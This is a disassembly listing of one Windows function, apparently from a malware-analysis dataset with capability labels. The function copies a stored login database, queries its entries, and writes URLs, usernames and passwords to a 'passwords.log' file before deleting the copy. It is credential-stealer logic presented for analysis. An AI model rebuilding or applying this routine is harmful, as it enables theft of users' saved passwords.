Function at 0x4028b3
Capabilities:
Check if file exists
Copy file
Delete file
Get common file path
Set current directory
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3128
call fcn.0055bc20
mov eax, dword [0x5e2ec0]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [ebp - 0x3124], eax
mov edi, ecx
cmp eax, 0xffffffff
jne 0x4028e4
xor eax, eax
jmp 0x402c1c
mov esi, 0x2ff
xor ebx, ebx
push esi
lea eax, [ebp - 0x30b]
push ebx
push eax
mov byte [ebp - 0x30c], bl
call fcn.0055bfc0
add esp, 0xc
push esi
lea eax, [ebp - 0x90b]
push ebx
push eax
mov byte [ebp - 0x90c], bl
call fcn.0055bfc0
add esp, 0xc
push esi
lea eax, [ebp - 0x60b]
push ebx
push eax
mov byte [ebp - 0x60c], bl
call fcn.0055bfc0
add esp, 0xc
lea eax, [ebp - 0x90c]
push eax
push 0x300
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea eax, [ebp - 0x30c]
push eax
push ebx
push ebx
push 0x8005
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea eax, [ebp - 0x30c]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push 0x5d3ac8
lea eax, [ebp - 0x30c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push ebx
lea eax, [ebp - 0x30c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, 0xfff
push esi
lea eax, [ebp - 0x310b]
push ebx
push eax
mov dword [ebp - 0x3118], ebx
mov byte [ebp - 0x310c], bl
call fcn.0055bfc0
add esp, 0xc
push esi
lea eax, [ebp - 0x210b]
push ebx
push eax
mov byte [ebp - 0x210c], bl
call fcn.0055bfc0
add esp, 0xc
push 0x7ff
lea eax, [ebp - 0x110b]
push ebx
push eax
mov byte [ebp - 0x110c], bl
call fcn.0055bfc0
add esp, 0xc
lea eax, [ebp - 0x311c]
push eax
push 0x5d3acc
call fcn.0045c9e2
pop ecx
pop ecx
test eax, eax
jne 0x402bf6
push ebx
lea eax, [ebp - 0x3110]
push eax
push 0xffffffffffffffff
push str.SELECT__str3___str2___blob0__FROM_entries_
push dword [ebp - 0x311c]
call fcn.00443427
add esp, 0x14
test eax, eax
jne 0x402bde
push str.passwords.log
lea eax, [ebp - 0x90c]
push eax
lea eax, [ebp - 0x60c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineA]
lea eax, [ebp - 0x60c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
push ebx
test eax, eax
push 0x80
lea eax, [ebp - 0x60c]
je 0x402a5a
push 3
push ebx
push ebx
push reloc.WS2_32.dll_connect
jmp 0x402a63
push 1
push ebx
push ebx
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push dword [ebp - 0x3110]
mov dword [ebp - 0x3114], eax
call fcn.00422ae4
pop ecx
cmp eax, 0x64
jne 0x402bc9
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push 2
push dword [ebp - 0x3110]
call fcn.00422df1
pop ecx
pop ecx
mov edi, eax
push edi
push 2
push dword [ebp - 0x3110]
call fcn.00422dcd
pop ecx
pop ecx
push eax
lea eax, [ebp - 0x110c]
push eax
call fcn.0055bc50
add esp, 0xc
push edi
lea edx, [ebp - 0x210c]
lea ecx, [ebp - 0x110c]
call fcn.0040358e
pop ecx
push ebx
push dword [ebp - 0x3110]
call fcn.00422eb7
push 1
push dword [ebp - 0x3110]
mov edi, eax
call fcn.00422eb7
lea ecx, [ebp - 0x210c]
push ecx
push eax
push edi
lea eax, [ebp - 0x310c]
push str.URL:__s_r_nUsename:__s_r_nPassword:__s_r_n_r_n
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x24
lea eax, [ebp - 0x210c]
push eax
call esi
test eax, eax
je 0x402b1b
inc dword [0x5e9a3c]
push ebx
lea eax, [ebp - 0x3120]
push eax
lea eax, [ebp - 0x310c]
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
push eax
lea eax, [ebp - 0x310c]
push eax
push dword [ebp - 0x3124]
call edi
cmp dword [ebp - 0x3114], 0xffffffff
je 0x402b6c
push ebx
lea eax, [ebp - 0x3120]
push eax
lea eax, [ebp - 0x310c]
push eax
call esi
push eax
lea eax, [ebp - 0x310c]
push eax
push dword [ebp - 0x3114]
call edi
inc dword [ebp - 0x3118]
mov edi, 0x1000
push edi
lea eax, [ebp - 0x210c]
push ebx
push eax
call fcn.0055bfc0
add esp, 0xc
push edi
lea eax, [ebp - 0x310c]
push ebx
push eax
call fcn.0055bfc0
add esp, 0xc
push 0x800
lea eax, [ebp - 0x110c]
push ebx
push eax
call fcn.0055bfc0
add esp, 0xc
push dword [ebp - 0x3110]
mov dword [ebp - 0x3120], ebx
call fcn.00422ae4
pop ecx
cmp eax, 0x64
je 0x402a8b
cmp dword [ebp - 0x3114], 0xffffffff
je 0x402bde
push dword [ebp - 0x3114]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x3110]
call fcn.004222e8
pop ecx
push dword [ebp - 0x311c]
call fcn.0045b331
pop ecx
lea eax, [ebp - 0x30c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x90c]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov eax, dword [ebp - 0x3118]
add dword [0x5e9a40], eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0055a67a
leave
ret